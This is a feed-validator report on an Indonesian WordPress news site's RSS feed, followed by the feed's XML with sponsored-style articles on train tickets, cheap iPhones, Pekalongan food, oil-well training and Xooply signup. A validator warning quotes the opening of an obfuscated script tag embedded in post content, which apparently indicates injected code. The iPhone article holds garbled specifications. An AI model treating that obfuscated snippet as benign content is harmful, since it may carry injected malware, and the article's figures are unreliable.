FEED Validator

Congratulations!

This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

• line 31, column 0: description should not contain aria-label attribute (10 occurrences) [help]

  					<description><![CDATA[<p>Jika kamu sudah kehabisan tiket kereta api unt ...
  

• line 203, column 0: content:encoded should not contain data-testid attribute [help]

  <div class="group w-full text-token-text-primary border-b border-black/10 gi ...
  

• line 301, column 0: content:encoded should not contain script tag (4 occurrences) [help]

  <p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();r ...
  

Source: https://lensawartawan.com/feed/

1. <?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
2. xmlns:content="http://purl.org/rss/1.0/modules/content/"
3. xmlns:wfw="http://wellformedweb.org/CommentAPI/"
4. xmlns:dc="http://purl.org/dc/elements/1.1/"
5. xmlns:atom="http://www.w3.org/2005/Atom"
6. xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
7. xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
8. >
9.  
10. <channel>
11. <title>Lensa Wartawan</title>
12. <atom:link href="https://lensawartawan.com/feed/" rel="self" type="application/rss+xml" />
13. <link>https://lensawartawan.com</link>
14. <description></description>
15. <lastBuildDate>Sat, 27 Apr 2024 05:47:37 +0000</lastBuildDate>
16. <language>en-US</language>
17. <sy:updatePeriod>
18. hourly </sy:updatePeriod>
19. <sy:updateFrequency>
20. 1 </sy:updateFrequency>
21. <generator>https://wordpress.org/?v=6.5.2</generator>
22. <item>
23. <title>5 Tips Mendapatkan Tiket Mudik Kereta Api</title>
24. <link>https://lensawartawan.com/5-tips-mendapatkan-tiket-mudik-kereta-api/</link>
26. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
27. <pubDate>Sat, 27 Apr 2024 05:47:37 +0000</pubDate>
28. <category><![CDATA[Berita]]></category>
29. <guid isPermaLink="false">https://lensawartawan.com/?p=4904</guid>
30.  
31. <description><![CDATA[<p>Jika kamu sudah kehabisan tiket kereta api untuk mudik lebaran tahun 2024 kali ini, jangan khawatir. Biasanya PT KAI selalu menyediakan tiket tambahan menjelang Lebaran. Sehingga kamu harus terus memantau berita terbaru untuk rangkaian tambahan yang diberikan. Agar kamu bisa mendapatkan tiket mudik kereta api tambahan, ada beberapa hal yang harus dilakukan. Misalnya dengan menyiapkan ... <a title="5 Tips Mendapatkan Tiket Mudik Kereta Api" class="read-more" href="https://lensawartawan.com/5-tips-mendapatkan-tiket-mudik-kereta-api/" aria-label="Read more about 5 Tips Mendapatkan Tiket Mudik Kereta Api">Read more</a></p>
32. <p>The post <a href="https://lensawartawan.com/5-tips-mendapatkan-tiket-mudik-kereta-api/">5 Tips Mendapatkan Tiket Mudik Kereta Api</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
33. <content:encoded><![CDATA[<p style="text-align: justify;">Jika kamu sudah kehabisan tiket kereta api untuk mudik lebaran tahun 2024 kali ini, jangan khawatir. Biasanya PT KAI selalu menyediakan tiket tambahan menjelang Lebaran. Sehingga kamu harus terus memantau berita terbaru untuk rangkaian tambahan yang diberikan.</p>
34. <p style="text-align: justify;">Agar kamu bisa mendapatkan tiket mudik kereta api tambahan, ada beberapa hal yang harus dilakukan. Misalnya dengan menyiapkan dana agar bisa langsung melakukan transaksi pembelian. Bisa juga menggunakan <span style="color: #0000ff;"><strong><u><a style="color: #0000ff;" href="https://play.google.com/store/apps/details?id=com.finaccel.android&amp;hl=en_US">aplikasi kredit</a></u></strong></span> sehingga dana pembelian tiket bisa ditalangi terlebih dahulu sebelum menerima THR Lebaran. Lalu apa saja tipsnya agar bisa mendapatkan tiket mudik kereta api? Simak ulasannya berikut ini.</p>
35. <p style="text-align: justify;"><strong>Pesan Tiket Kereta H-10</strong></p>
36. <p style="text-align: justify;">Pemesanan tiket kereta api pada saat ini bisa dilakukan 90 hari sebelum tanggal keberangkatan. Oleh karena itu, biasanya untuk hari mendekati 3 hari sebelum lebaran umumnya sudah pasti kehabisan.  Alternatif yang bisa kamu lakukan adalah dengan mencari tiket 10 hari sebelum tanggal lebaran. Opsi tersebut biasanya lebih banyak dibandingkan dengan beberapa tanggal yang memang berdekatan dengan hari lebaran.</p>
37. <p style="text-align: justify;">Selain itu kamu juga bisa menunggu rangkaian kereta tambahan yang biasanya diberikan oleh PT KAI. Namun, hal tersebut tidak serta merta langsung diberikan mengingat PT KAI akan mempertimbangkan kapasitasnya terlebih dahulu.</p>
38. <p style="text-align: justify;"><strong>Gunakan Semua Platform Pemesanan Tiket</strong></p>
39. <p style="text-align: justify;">Kamu bisa menggunakan pemesanan tiket melalui website resmi ataupun aplikasi PT Kereta Api Indonesia. Tetapi, kamu juga bisa melakukan pemesanan tiket kereta api secara online lewat beberapa platform tertentu misalnya seperti Traveloka, tiket.com, bahkan melalui marketplace seperti Blibli.  Hal ini akan memberikan kesempatan kamu lebih banyak karena beberapa platform memiliki jatahnya tersendiri dari yang diberikan oleh PT KAI.</p>
40. <p style="text-align: justify;">Tetapi, yang paling utama adalah untuk kereta atau rangkaian tambahan biasanya diberikan prioritas khusus untuk aplikasi PT KAI. Sehingga, pastikan memiliki aplikasi resmi PT KAI untuk mendapatkan informasi dan pemesanan langsung tiket kereta api rangkaian tambahan untuk mudik Lebaran tahun 2024.</p>
41. <p style="text-align: justify;"><strong>Manfaatkan Aplikasi Kredit untuk Dana Talangan</strong></p>
42. <p style="text-align: justify;">Salah satu keuntungan jika kamu memiliki beberapa platform pemesanan tiket kereta api yang berbeda, kamu bisa memanfaatkan aplikasi kredit sebagai dana talangan. Aplikasi kredit ini bisa kamu manfaatkan terutama bagi mereka yang belum mendapatkan THR lebaran. Sehingga nantinya setelah kamu mendapatkan THR lebaran kamu bisa mengganti dananya untuk pembelian tiket kereta api.</p>
43. <p style="text-align: justify;">Aplikasi kredit yang bisa kamu andalkan dan sudah mendapatkan izin dari Otoritas Jasa Keuangan misalnya seperti <span style="color: #0000ff;"><strong><u><a style="color: #0000ff;" href="http://kredivo.id/">kredivo</a></u></strong></span>. Memberikan opsi <span style="color: #000000;"><strong><u>cicilan 3 bulan</u></strong></span> tanpa perlu bayar bunga, hanya perlu bayar biaya administrasinya saja sebesar 3% dari total belanjaan. Jika dirasa terlalu berat kamu bisa memilih opsi cicilan 6 bulan sampai dengan 12 bulan dengan bunga rendah hanya 2,6% saja per bulan.</p>
44. <p style="text-align: justify;">Pastikan melakukan pendaftaran sebagai member premium untuk mendapatkan opsi limit pinjaman sampai dengan 50 juta.</p>
45. <p style="text-align: justify;"><strong>Manfaatkan Promo dan Diskon</strong></p>
46. <p style="text-align: justify;">Biasanya beberapa platform online akan memberikan promo dan diskon paling tidak membebaskan biaya administrasi sehingga pembelian tiket kereta api bisa kamu hemat dari harga normal biasanya.</p>
47. <p style="text-align: justify;">Namun,  pada umumnya memang agak sulit untuk mendapatkan promo dan diskon untuk tiket lebaran di mana permintaan pasti sedang tinggi. Namun demikian, tidak ada salahnya untuk mencoba mencari promo dan diskon dari beberapa platform yang menyediakan pemesanan tiket kereta api secara online.</p>
48. <p style="text-align: justify;"><strong>Opsi Transit Bisa Dilakukan Demi Mudik Nyaman</strong></p>
49. <p style="text-align: justify;">Jika kamu tidak mendapatkan tiket kereta api secara langsung (<em>direct</em>) kamu bisa memilih opsi alternatif dengan proses transit terlebih dahulu. Misalnya kamu memilih tiket kereta api dari Jakarta ke Cirebon. Kemudian kamu bisa kembali memilih tiket dari Cirebon ke tujuan tertentu seperti Solo, Yogyakarta, hingga ke Surabaya.</p>
50. <p style="text-align: justify;">Cara ini bisa kamu lakukan sebagai alternatif jika kamu sudah tidak bisa mendapatkan lagi atau kehabisan tiket kereta api secara <em>direct </em>ke kota tujuan kamu dari Jakarta atau Jabodetabek.</p><p>The post <a href="https://lensawartawan.com/5-tips-mendapatkan-tiket-mudik-kereta-api/">5 Tips Mendapatkan Tiket Mudik Kereta Api</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
54. </item>
55. <item>
56. <title>Rekomendasi 4 iPhone 5 Jutaan</title>
57. <link>https://lensawartawan.com/rekomendasi-4-iphone-5-jutaan/</link>
59. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
60. <pubDate>Thu, 18 Apr 2024 10:53:05 +0000</pubDate>
61. <category><![CDATA[Berita]]></category>
62. <guid isPermaLink="false">https://lensawartawan.com/?p=4899</guid>
63.  
64. <description><![CDATA[<p>Apple dari sejak awal kemunculannya hingga sekarang selalu menelurkan flagship yang mampu menjadi trendsetter di dunia smartphone. Dengan diawali munculnya iPhone 3G beberapa tahun yang lalu, Apple mampu menjawab keinginan masyarakat akan hadirnya smartphone dengan teknologi yang lebih modern dan canggih. Sudah banyak unit smartphone dengan beragam jenis model dengan spesifikasi berbeda yang dibuat Apple ... <a title="Rekomendasi 4 iPhone 5 Jutaan" class="read-more" href="https://lensawartawan.com/rekomendasi-4-iphone-5-jutaan/" aria-label="Read more about Rekomendasi 4 iPhone 5 Jutaan">Read more</a></p>
65. <p>The post <a href="https://lensawartawan.com/rekomendasi-4-iphone-5-jutaan/">Rekomendasi 4 iPhone 5 Jutaan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
66. <content:encoded><![CDATA[<p style="text-align: justify;">Apple dari sejak awal kemunculannya hingga sekarang selalu menelurkan flagship yang mampu menjadi trendsetter di dunia smartphone. Dengan diawali munculnya iPhone 3G beberapa tahun yang lalu, Apple mampu menjawab keinginan masyarakat akan hadirnya smartphone dengan teknologi yang lebih modern dan canggih.</p>
67. <p style="text-align: justify;">Sudah banyak unit smartphone dengan beragam jenis model dengan spesifikasi berbeda yang dibuat Apple iPhone hingga kini</p>
68. <p style="text-align: justify;">Memiliki harga yang cukup mahal, tidak jarang membuat masyarakat enggan membelinya. Tidak perlu khawatir, kali ini akan coba memberikan rekomendasi 4 <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://duniaku.idntimes.com/tekno/gadgets/bunga-semesta/rekomendasi-iphone-5-jutaan"><strong>iphone 5 jutaan</strong></a></span> yang bisa anda pilih sesuai budget dan selera anda sebagai berikut:</p>
69. <h3>1. iPhone XS Max</h3>
70. <p style="text-align: justify;">HP ini memiliki ukuran layar cukup besar 6,5 inci yang tentunya aktvitas bermain game atau nonton film anda lebih maksimal. iPhone yang dirilis pada September 2018 ini memiliki memori internal : 512 GB, 64 GB, 256 GB ROM dan baterai : non-removable Li-Ion 3174 mAh battery.</p>
71. <p style="text-align: justify;">Untuk dapur pacu,  iPhone X5 Max didukung dengan chipset Apple A12 Bionic yang performanya tidak usah diragukan lagi. Dengan adanya dukungan tersebut anda bisa bermain game berat seperti PYBG maupun Fortnite dengan lancar tanpa hambatan.</p>
72. <p style="text-align: justify;">Untuk kamera, HP ini memiliki kamera belakang : 12 MP + 12 MP, kamera depan : 7 MP.</p>
73. <p style="text-align: justify;">Untuk sektor daya, baterai Iphone ini diklaim mampu dipakai untuk memutar video selama 15 jam.</p>
74. <p style="text-align: justify;">Selain itu, ponsel ini juga dilengkapi dengan berbagai fitur seperti perekaman video 4K, dukungan Bluetooth 5.0, WiFi 802.11ac, NFC, dan lain sebagainya.</p>
75. <h3>2. iPhone 7 Plus</h3>
76. <p style="text-align: justify;">iPhone 7 Plus yang memiliki bobot yang ringan yakni sekitar 138 gram ini hadir dengan desain yang mengusung konsep simple, elegean, dan ramping.</p>
77. <p style="text-align: justify;">Untuk daya, iPhone ini mengandalkan LI-Ion 2900 mAh yang mampu menunjang pemakaian ponsel untuk waktu yang cukup lama.</p>
78. <p style="text-align: justify;">Dari segi layar handphone ini dilengkapi dengan layar Retina IPS LCD 5.5 inches, 83.4 cm2 (~67.7% screen-to-body ratio).</p>
79. <p style="text-align: justify;">Dari segi kamera, iPhone yang dirilis pada September 2016 ini memiliki kamera belakang 12 MP + 12 MP, kamera depan 7 MP. Dari segi tenaga, handphone ini dibekali chipset Apple A10 Fusion (16 nm), GPU PowerVR Series7XT Plus (six-core graphics), RAM 3 GB RAM.</p>
80. <h3>3. iPhone 6s Plus</h3>
81. <p style="text-align: justify;">Apple mempersenjatai iPhone 6s Plus dengan prosesor Apple A9 yang memiliki CPU Dual-core 1.84 Ghz Twister dan GPU PowerVR GT17600 (six-core graphics). Soal performa, sudah memuaskan di kelasnya.</p>
82. <p style="text-align: justify;">Untuk memori, iPhone 6s Plus mengadopsi memori 16/32/64/128 GBm 2 GB RAM dan No. Setidaknya sudah cukup untuk kebutuhan aplikasi dan penyimpanan file musik dan video.</p>
83. <p style="text-align: justify;">Dari sektor kamera, iPhone ini didukung kamera utama 12MP (f/2.2, 29mm, 1/3”, 1.22), phase detection autofoucus, OIS, dual-LED, dual-tone flash, check quality dan kamera selfie 5 MP (f/2.2,3 mm)n 1080@30fps, 720p@240fps, face detection, HDR, panorama. Serta didukung fitur Geo recording, touch focus, face/smile detection, HDR (photo/panorama), 2160@fps, 1080@60fps, 1080@120fps, 720p@fps, check quality.</p>
84. <p style="text-align: justify;">Untuk daya, iPhone 6s Plus hadir dengan dukungan baterai berkapasitas Non-removable LI-Ion 2750 mAh battery (10,45 Wh) yang didukung dengan charger yang bisa diandalkan.</p>
85. <h3>4. iPhone X 256 GB (iBox)</h3>
86. <p style="text-align: justify;">iPhone X 256 GB (iBox) hadir dengan layar ukuran 8 inch yang sudah mendukung Super Retina HD display dengan OLED resolusi 2436 x qq25 piksel. Lalu, ada mode optical image stabilization pada kedua lensanya, yaitu tele dan wide sehingga hasil rekaman video menjadi lebih stabil.</p>
87. <p style="text-align: justify;">Untuk performa, iPhone X ditenagai chipset A11 Bionic dengan Ram 3GB. Apple juga menghadirkan perlindungan IP67 tahan air, Face ID, hingga NFC.</p><p>The post <a href="https://lensawartawan.com/rekomendasi-4-iphone-5-jutaan/">Rekomendasi 4 iPhone 5 Jutaan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
91. </item>
92. <item>
93. <title>Menikmati Kelezatan Kuliner Khas Pekalongan dengan Travel Jogja Pekalongan</title>
94. <link>https://lensawartawan.com/menikmati-kelezatan-kuliner-khas-pekalongan-dengan-travel-jogja-pekalongan/</link>
96. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
97. <pubDate>Tue, 02 Apr 2024 02:25:24 +0000</pubDate>
98. <category><![CDATA[Travel]]></category>
99. <guid isPermaLink="false">https://lensawartawan.com/?p=4894</guid>
100.  
101. <description><![CDATA[<p>Pekalongan, sebuah kota yang kaya akan sejarah dan budaya, juga terkenal dengan kelezatan kuliner khasnya. Wisata kuliner di Pekalongan tidak hanya memanjakan lidah, tetapi juga memberikan pengalaman budaya yang tak terlupakan. Dalam artikel ini, kita akan menjelajahi kelezatan kuliner khas Pekalongan dan bagaimana Travel Jogja Pekalongan dapat menjadi mitra perjalanan Anda untuk menikmati pengalaman kuliner ... <a title="Menikmati Kelezatan Kuliner Khas Pekalongan dengan Travel Jogja Pekalongan" class="read-more" href="https://lensawartawan.com/menikmati-kelezatan-kuliner-khas-pekalongan-dengan-travel-jogja-pekalongan/" aria-label="Read more about Menikmati Kelezatan Kuliner Khas Pekalongan dengan Travel Jogja Pekalongan">Read more</a></p>
102. <p>The post <a href="https://lensawartawan.com/menikmati-kelezatan-kuliner-khas-pekalongan-dengan-travel-jogja-pekalongan/">Menikmati Kelezatan Kuliner Khas Pekalongan dengan Travel Jogja Pekalongan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
103. <content:encoded><![CDATA[<p style="text-align: justify;">Pekalongan, sebuah kota yang kaya akan sejarah dan budaya, juga terkenal dengan kelezatan kuliner khasnya. Wisata kuliner di Pekalongan tidak hanya memanjakan lidah, tetapi juga memberikan pengalaman budaya yang tak terlupakan. Dalam artikel ini, kita akan menjelajahi kelezatan kuliner khas Pekalongan dan bagaimana <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.rodisontrans.com/travel-jogja-pekalongan/"><strong>Travel Jogja Pekalongan</strong></a></span> dapat menjadi mitra perjalanan Anda untuk menikmati pengalaman kuliner yang tak terlupakan di kota ini.</p>
104. <h3>1. Sate Blengong</h3>
105. <p style="text-align: justify;">Salah satu kuliner khas yang wajib Anda coba di Pekalongan adalah Sate Blengong. Sate ini terbuat dari daging burung Blengong yang dimasak dengan bumbu rempah khas. Rasanya yang gurih dan tekstur daging yang lembut membuat Sate Blengong menjadi sajian yang sangat diminati oleh pengunjung, baik lokal maupun wisatawan. Travel Jogja Pekalongan dapat membantu Anda menemukan tempat-tempat terbaik untuk menikmati Sate Blengong ini.</p>
106. <h3>2. Tahu Petis</h3>
107. <p style="text-align: justify;">Tahu Petis adalah hidangan yang tidak boleh dilewatkan saat berkunjung ke Pekalongan. Tahu yang digoreng garing disajikan dengan kuah petis yang khas, serta tambahan irisan daun bawang dan bawang goreng di atasnya. Rasanya yang unik dan gurih membuat Tahu Petis menjadi camilan favorit di Pekalongan. Dengan bantuan Travel Jogja Pekalongan, Anda dapat menemukan warung-warung kecil yang menyajikan Tahu Petis dengan citarasa yang autentik.</p>
108. <h3>3. Nasi Pindang</h3>
109. <p style="text-align: justify;">Nasi Pindang adalah salah satu hidangan tradisional Pekalongan yang paling terkenal. Nasi yang disajikan dengan kuah pindang yang kaya rasa, daging sapi, telur rebus, serta irisan bawang merah dan daun seledri di atasnya. Rasanya yang gurih dan aroma rempah yang harum membuat Nasi Pindang menjadi hidangan yang sangat disukai oleh masyarakat Pekalongan. Dengan bimbingan dari Travel Jogja Pekalongan, Anda dapat menemukan restoran-restoran terbaik yang menyajikan Nasi Pindang dengan cita rasa yang autentik.</p>
110. <h3>4. Es Dawet Ayu</h3>
111. <p style="text-align: justify;">Untuk menyegarkan lidah setelah menikmati hidangan khas Pekalongan, jangan lewatkan untuk mencicipi Es Dawet Ayu. Minuman tradisional ini terdiri dari dawet (gelatin hijau), santan, gula merah cair, dan es serut. Es Dawet Ayu memiliki rasa yang manis dan segar, serta tekstur yang kenyal dan lembut. Ini adalah minuman yang sempurna untuk menutup santapan kuliner khas Pekalongan Anda. Travel Jogja Pekalongan dapat membantu Anda menemukan gerai-gerai kecil yang menyajikan Es Dawet Ayu dengan kualitas terbaik.</p>
112. <p style="text-align: justify;">Kuliner khas Pekalongan menawarkan pengalaman gastronomi yang unik dan tak terlupakan. Dari Sate Blengong yang gurih hingga Es Dawet Ayu yang menyegarkan, setiap hidangan memiliki cerita dan rasa tersendiri. Dengan bantuan Travel Jogja Pekalongan, Anda dapat menjelajahi berbagai tempat makan yang menyajikan kuliner khas Pekalongan dengan citarasa yang autentik.</p>
113. <p style="text-align: justify;">Setelah menikmati kelezatan kuliner di Pekalongan, perjalanan pulang dengan menggunakan layanan <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.rodisontrans.com/travel-pekalongan-jogja/"><strong>Travel Pekalongan Jogja</strong></a></span> akan menjadi pengalaman yang nyaman dan praktis. Anda dapat bersantai dan menikmati pemandangan sepanjang perjalanan, sambil merenungkan kenangan indah dari petualangan kuliner Anda di Pekalongan. Layanan yang handal dan profesional dari Travel Pekalongan Jogja akan memastikan bahwa Anda tiba di destinasi dengan aman dan nyaman. Dengan layanan yang handal dan sopir yang berpengalaman, Anda dapat bersantai dan menikmati perjalanan kembali ke Jogja dengan nyaman dan aman bersama Travel Pekalongan Jogja. Jadi, lepaskan beban perjalanan Anda dan percayakan perjalanan pulang Anda kepada Travel Pekalongan Jogja untuk pengalaman yang menyenangkan dan tak terlupakan.</p><p>The post <a href="https://lensawartawan.com/menikmati-kelezatan-kuliner-khas-pekalongan-dengan-travel-jogja-pekalongan/">Menikmati Kelezatan Kuliner Khas Pekalongan dengan Travel Jogja Pekalongan</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
117. </item>
118. <item>
119. <title>Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional</title>
120. <link>https://lensawartawan.com/advanced-hpht-well-engineering-petrosync-dan-pemahaman-mendalam-melalui-taining-internasional/</link>
122. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
123. <pubDate>Thu, 21 Dec 2023 06:15:27 +0000</pubDate>
124. <category><![CDATA[Berita]]></category>
125. <guid isPermaLink="false">https://lensawartawan.com/?p=4880</guid>
126.  
127. <description><![CDATA[<p>Dalam industri minyak dan gas yang terus berkembang, menuntut para profesionalnya untuk meningkatkan pemahaman mereka dalam teknologi pengeboran sumur. Inilah mengapa PetroSync hadir sebagai solusi yang menawarkan training dengan pemahaman mendalam tentang Advanced HPHT Well Engineering. Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional Well Engineering dengan teknologi HPHT adalah salah ... <a title="Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional" class="read-more" href="https://lensawartawan.com/advanced-hpht-well-engineering-petrosync-dan-pemahaman-mendalam-melalui-taining-internasional/" aria-label="Read more about Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional">Read more</a></p>
128. <p>The post <a href="https://lensawartawan.com/advanced-hpht-well-engineering-petrosync-dan-pemahaman-mendalam-melalui-taining-internasional/">Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
129. <content:encoded><![CDATA[<p style="text-align: justify;">Dalam industri minyak dan gas yang terus berkembang, menuntut para profesionalnya untuk meningkatkan pemahaman mereka dalam teknologi pengeboran sumur. Inilah mengapa <a href="https://www.petrosync.com/"><strong>PetroSync</strong></a> hadir sebagai solusi yang menawarkan training dengan pemahaman mendalam tentang Advanced HPHT Well Engineering.</p>
130. <h2 style="text-align: justify;">Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional</h2>
131. <p style="text-align: justify;">Well Engineering dengan teknologi HPHT adalah salah satu pendekatan terdepan dalam pengembangan ini. PetroSync menghadirkan kursus canggih yang akan membekali para insinyur dengan pemahaman mendalam, dipandu dengan instruktur ahli dan berpelangaman dalam bidangnya.</p>
132. <h3 style="text-align: justify;">1.      Pengantar Teknologi HPHT</h3>
133. <p style="text-align: justify;">Seiring berkembangnya permintaan energi global, industri migas juga meningkatkan eksplorasi reservoir mereka. Dalam hal ini, teknologi HPHT merupakan kunci untuk mengebor sumur-sumur ini.</p>
134. <p style="text-align: justify;">PetroSync memberikan pelatihan bagi para profesional dalam industri dengan memberikan wawasan seputar teknologi HPHT. Ini mencakup desain sumur, pemilihan material dan teknik pengeboran khusus yang digunakan untuk kondisi lingkungan yang ekstrim.</p>
135. <h3 style="text-align: justify;">2.      PetroSync sebagai Pemimpin Pelatihan Internasional</h3>
136. <p style="text-align: justify;">Sebagai penyedia pelatihan yang handal dalam industri migas, PetroSync dengan kursus Advanced HPHT Well Engineering menawarkan pemahaman teoritis yang mendalam kepada sleuruh peserta training.</p>
137. <p style="text-align: justify;">Selain itu, instruktur berpengalaman dari PetroSync juga memberikan pengalaman praktis melalui studi kasus dan simulasi. Peserta training dapat belajar langsung dari ahli industri yang berpengalaman dalam menangani berbagai proyek HPHT yang kompleks.</p>
138. <h3 style="text-align: justify;">3.      Manfaat Training PetroSync</h3>
139. <p style="text-align: justify;">Training PetroSync memberikan pemahaman mendalam tentang Advanced HPHT Well Engineering yang membuka peluang baru dalam industri migas. Dengan ini, peserta memiliki kemampuan dalam mengelola berbagai proyek pengeboran yang rumit.</p>
140. <p style="text-align: justify;">Selain itu, manfaat dari pelatihan HPHT dari PetroSync ini juga memungkinkan para profesional dapat meningkatkan efisiensi operasional, mengurangi risiko serta meningkatkan produktivitas sumur-sumur HPHT.</p>
141. <p style="text-align: justify;">PetroSync adalah penyelenggara pelatihan terkemuka di industri minyak dan gas yang telah membuktikan diri mereka sebagai mitra yang dapat diandalkan dalam mengembangkan keahlian teknis para profesional migas.</p>
142. <p style="text-align: justify;">Nah, dengan mengikuti <a href="https://www.petrosync.com/training/advanced-hpht-well-engineering-course/"><strong>Advanced HPHT Well Engineering training</strong></a> bersama PetroSync, para ahli dalam bidang ini dapat menghadapi tantangan industri yang terus berkembang dengan pengetahuan mendalam yang mereka miliki.</p>
143. <p style="text-align: justify;">
144. <p style="text-align: justify;">
145. <p style="text-align: justify;">
146. <p style="text-align: justify;"><p>The post <a href="https://lensawartawan.com/advanced-hpht-well-engineering-petrosync-dan-pemahaman-mendalam-melalui-taining-internasional/">Advanced HPHT Well Engineering : PetroSync dan Pemahaman Mendalam melalui Taining Internasional</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
150. </item>
151. <item>
152. <title>TATA CARA MENDAFTARKAN PERUSAHAAN ANDA SEBAGAI BUYER DI XOOPLY.ID!</title>
153. <link>https://lensawartawan.com/tata-cara-mendaftarkan-perusahaan-anda-sebagai-buyer-di-xooply-id/</link>
155. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
156. <pubDate>Tue, 17 Oct 2023 00:21:55 +0000</pubDate>
157. <category><![CDATA[Tips Dan Trik]]></category>
158. <guid isPermaLink="false">https://lensawartawan.com/?p=4867</guid>
159.  
160. <description><![CDATA[<p>Bagi Anda yang belum mengetahui tentang Xooply, artikel ini akan membantu menjelaskan kepada Anda terkait Xooply serta tata cara mendaftarkan perusahaan Anda sebagai buyer di Xooply. Xooply merupakan sebuah platform pengadaan barang dan jasa yang dihadirkan oleh PT. Metranet (Metra-Net) pada tahun 2016. Sebelumnya, Xooply bernama UOffice dan resmi berganti nama menjadi Xooply pada tahun ... <a title="TATA CARA MENDAFTARKAN PERUSAHAAN ANDA SEBAGAI BUYER DI XOOPLY.ID!" class="read-more" href="https://lensawartawan.com/tata-cara-mendaftarkan-perusahaan-anda-sebagai-buyer-di-xooply-id/" aria-label="Read more about TATA CARA MENDAFTARKAN PERUSAHAAN ANDA SEBAGAI BUYER DI XOOPLY.ID!">Read more</a></p>
161. <p>The post <a href="https://lensawartawan.com/tata-cara-mendaftarkan-perusahaan-anda-sebagai-buyer-di-xooply-id/">TATA CARA MENDAFTARKAN PERUSAHAAN ANDA SEBAGAI BUYER DI XOOPLY.ID!</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
162. <content:encoded><![CDATA[<p style="text-align: justify;">Bagi Anda yang belum mengetahui tentang Xooply, artikel ini akan membantu menjelaskan kepada Anda terkait Xooply serta tata cara mendaftarkan perusahaan Anda sebagai buyer di Xooply.</p>
163. <p style="text-align: justify;">Xooply merupakan sebuah platform <span style="color: #0000ff;"><strong><a style="color: #0000ff;" href="https://xooply.id">pengadaan barang dan jasa</a></strong></span> yang dihadirkan oleh PT. Metranet (Metra-Net) pada tahun 2016. Sebelumnya, Xooply bernama UOffice dan resmi berganti nama menjadi Xooply pada tahun tersebut.</p>
164. <p style="text-align: justify;">Sebagai sebuah platform pengadaan barang dan jasa yang telah cukup umur di Indonesia, Xooply menawarkan banyak sekali penawaran barang dan jasa. Oleh karena itu, Anda jangan sampai melewatkan platform pengadaan barang dan jasa yang satu ini.</p>
165. <p style="text-align: justify;">Xooply menawarkan banyak kelebihan bagi para konsumennya, dimulai dari sistem pencatatan transaksi yang akuntabel sehingga memudahkan Anda dalam meyusun laporan perusahaan Anda.</p>
166. <p style="text-align: justify;">Lalu juga Anda bisa mendapatkan sistem pembayaran yang mudah karena bisa Anda lakukan kapan saja serta dimana saja. Bahkan, Anda bisa melakukan pembayaran secara langsung maupun secara berkala.</p>
167. <p style="text-align: justify;">Xooply juga menawarkan harga yang sangat kompetitif agar dapat membantu perusahaan Anda dalam menemukan beragam kebutuhan barang dan jasa. Harga yang kompetitif tentunya dapat membantu Anda dalam menghemat keuangan perusahaan Anda.</p>
168. <p style="text-align: justify;">Selanjutnya, Xooply juga bisa membantu Anda dalam sistem persetujuan yang transparan dimana setiap transaksi dapat dilakukan ulasan terlebih dahulu oleh manager maupun pejabat yang lebih tinggi di perusahaan Anda.</p>
169. <p style="text-align: justify;">Oleh karenanya, Anda tidak perlu ragu untuk mendaftarkan perusahaan Anda di Xooply.</p>
170. <p style="text-align: justify;">Berikut tata cara mendaftarkan perusahaan Anda sebagai buyer di Xooply:</p>
171. <h3><strong>1. Hubungi Admin Xooply.id</strong></h3>
172. <p style="text-align: justify;">Anda harus menghubungi admin Xooply terlebih dahulu untuk mendaftarkan perusahaan Anda sebagai buyer di Xooply.</p>
173. <p style="text-align: justify;">Nantinya, Anda bisa meminta bantuan dari admin untuk proses pendaftaran akun buyer ini.</p>
174. <h3><strong>2. Isi Form</strong></h3>
175. <p style="text-align: justify;">Tahap selanjutnya adalah pengisian form atas pengajuan sebagai buyer. Form ini berisikan data lengkap perusahaan, seperti nama perusahaan hingga Nomor Pokok Wajib Pajak (NPWP) perusahaan dan sebagainya.</p>
176. <p style="text-align: justify;">Dengan adanya data ini, Anda tidak perlu repot dalam melakukan hal pelaporan pajak, karena Xooply memiliki sistem pencatatan transaksi yang akuntabel sehingga dapat Anda gunakan dalam pelaporan perusahaan.</p>
177. <h3><strong>3. Masukan Email Registered</strong></h3>
178. <p style="text-align: justify;">Langkah selanjutnya, Anda akan mendapatkan email yang telah didaftarkan sebagai akun buyer di Xooply.id. Anda harus memasukan email tersebut ke dalam URL <span style="color: #0000ff;"><strong><a style="color: #0000ff;" href="https://xooply.id/forgot-password">https://xooply.id/forgot-password</a></strong></span></p>
179. <h3><strong>4. Reset Password</strong></h3>
